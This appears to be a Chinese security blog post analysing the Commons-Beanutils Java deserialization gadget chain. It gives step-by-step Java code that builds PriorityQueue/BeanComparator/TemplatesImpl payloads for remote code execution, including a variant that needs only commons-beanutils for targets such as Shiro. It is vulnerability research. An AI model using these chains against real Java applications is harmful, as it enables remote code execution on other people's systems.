Commons-Beanutils利用鏈分析

9eek發表於2021-08-10

前言

本篇開始介紹 commons-beanutils 利用鏈,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先來看一下,什麼是 commons-beanutils,我們看下官網的描述:

Most Java developers are used to creating Java classes that conform to the JavaBeans naming patterns for property getters and setters. It is natural to then access these methods directly, using calls to the corresponding getXxx and setXxx methods. However, there are some occasions where dynamic access to Java object properties (without compiled-in knowledge of the property getter and setter methods to be called) is needed. Example use cases include:

  • Building scripting languages that interact with the Java object model (such as the Bean Scripting Framework).

  • Building template language processors for web presentation and similar uses (such as JSP or Velocity).

  • Building custom tag libraries for JSP and XSP environments (such as Jakarta Taglibs, Struts, Cocoon).

  • Consuming XML-based configuration resources (such as Ant build scripts, web application deployment descriptors, Tomcat's server.xml file).

The Java language provides Reflection and Introspection APIs (see the java.lang.reflect and java.beans packages in the JDK Javadocs). However, these APIs can be quite complex to understand and utilize. The BeanUtils component provides easy-to-use wrappers around these capabilities.

簡單來說就是提供了一組動態便捷操縱 JavaBean 的 api,替代使用 jdk 複雜的反射模式,常用在一些XML檔案處理、模板引擎處理及三方框架處理上。

BeanComparator

其中裡面的 org.apache.commons.beanutils.BeanComparator 實現了 Comparator 介面,可以用來比較兩個Bean的屬性等內容:

image-20210809223109212

構造方法可傳入兩個變數,一個Bean的屬性名,一個三方的 Comparator 實現類:

image-20210809223543321

兩個引數都可以不傳,第二個引數不傳入預設使用 org.apache.commons.collections.comparators.ComparableComparator , 注意這個類在 commons-collections 包下面,也就是說如果要用原生的YsoSerial 生成的payload去利用的話,要確保目標機器上要同時引入 commons-collections 和 commons-beanutils 兩個包,不然就不能利用,那如果目標機器假如只引入了 commons-beanutils 是不是就沒辦法了? 也不然,看後面分析。

image-20210809223826631

接下來看一下 ComparableComparator 對Compare的具體實現:

image-20210809223929162

大概邏輯就是,如果初始化傳入了property,就會去呼叫兩個物件對應的 getter 方法,獲取其屬性值,然後再進行比較,返回最終的值,這裡有主動呼叫getter方法,問題就發生在這裡和 FastJson 的利用方法一樣。

TemplatesImpl

其實前面在CC2、3、4 已經都講過 TemplatesImpl 的利用方式,不過他們都是通過呼叫其 newTransformer() 方法進行觸發,這裡再擴充下,這個類還有一種觸發方式,我們使用 IDEA 的 Findusage 功能找下呼叫位置:

image-20210809224625281

我們發現除了 TrAXFilter 外,這個類本身的 getOutputProperties() 就會呼叫 newTransformer 方法:

image-20210809224736476

這是一個getter方法,就可以和BeanComparetor的compare方法穿起來了。

挖掘利用鏈

思路一: commons-collections與 common-beanutils 共同存在的情況下:

結合之前分析,BeanComparetor的compare 會呼叫目標物件的getter方法,而 TemplatesImpl 存在 getOutputProperties() 方法進行惡意程式碼觸發,所以我們只要反序列化的時候使用 BeanComparetor#compare() 比較兩個惡意TemplatesImpl 物件就好。反序列化時候進行比較就是 CC2、CC4中使用到的PrioQueue就好:

image-20210809230609848

所以,我們來實踐下吧~

第一步 準備惡意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 使用 BeanComparator 作為傳入 PriorityQueue 作為 comparator

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);  // 這裡先新增正常元素,避免執行時觸發惡意程式碼
priorityQueue.add(1);

第三步 新增元素後再替換回 templates ,避免新增時觸發程式碼執行

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;
//        替換為 TemplatesImpl 中的 property
ReflectUtils.setFields(beanComparator,"property","outputProperties");

第四步 反序列化觸發

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

看下執行結果,成功執行~

image-20210809231318658

思路二:目標機器只引用 common-beanutils

這個場景其實就真實發生在一個第三方框架Shiro上,Shiro 框架本身只引入了 common-beanutils ,如果直接使用 YsoSerial 的 CB鏈生成Payload是無法直接執行的,所以網上大部分的復現或者分析都是人工引入 Common-Collections, 每要求一個包的存在就對利用的難度加大了,有沒有隻依賴 common-beanutils 就能RCE的鏈呢?

我們看到Commons-beanutils.BeanComparator 的構造方法,其實只有預設不傳入 Comparator 的情況下才會去使用Commons-collections的ComparableComparator,所以我們只需要傳入一個原生的Comparator 即可擺脫對Commons-Collections 的依賴,同時,因為這個漏洞是應用於反序列化場景,所以要求這個類還必須繼承 Serializable 介面,有沒有這個類呢,答案當然是有,P神已經找到了,就是 String.CASE_INSENSITIVE_ORDER

image-20210809232237737

所以,我們只需要將Comparator改為 String.CASE_INSENSITIVE_ORDER 即可,實操:

第一步 準備惡意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 準備惡意priorityQueue

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

第三步 將 beanComparator 中的 comparator 改為非Commons-Collections 的 String.CASE_INSENSITIVE_ORDER

ReflectUtils.setFields(beanComparator,"comparator",String.CASE_INSENSITIVE_ORDER);

第四步 priorityQueue元素改為惡意templates

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;

第五步 beanComparator 屬性改為outputProperties

ReflectUtils.setFields(beanComparator,"property","outputProperties");

第六步 觸發

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

最後,我們在pom檔案裡面把 commons-collections 改為compie,這樣就確保只在編譯期間存在這個包,執行實際沒有。

image-20210809232855864

看下執行結果,在只有commons-beauntils 依賴下成功執行!

image-20210809232946333

總結

這篇文章分析了 Commons-Beanutils 反序列化利用的原理,並在 YsoSerail 基礎上進行了增強,實現在只有 Commons-Beanutils 依然能夠RCE。

公眾號

歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!

相關文章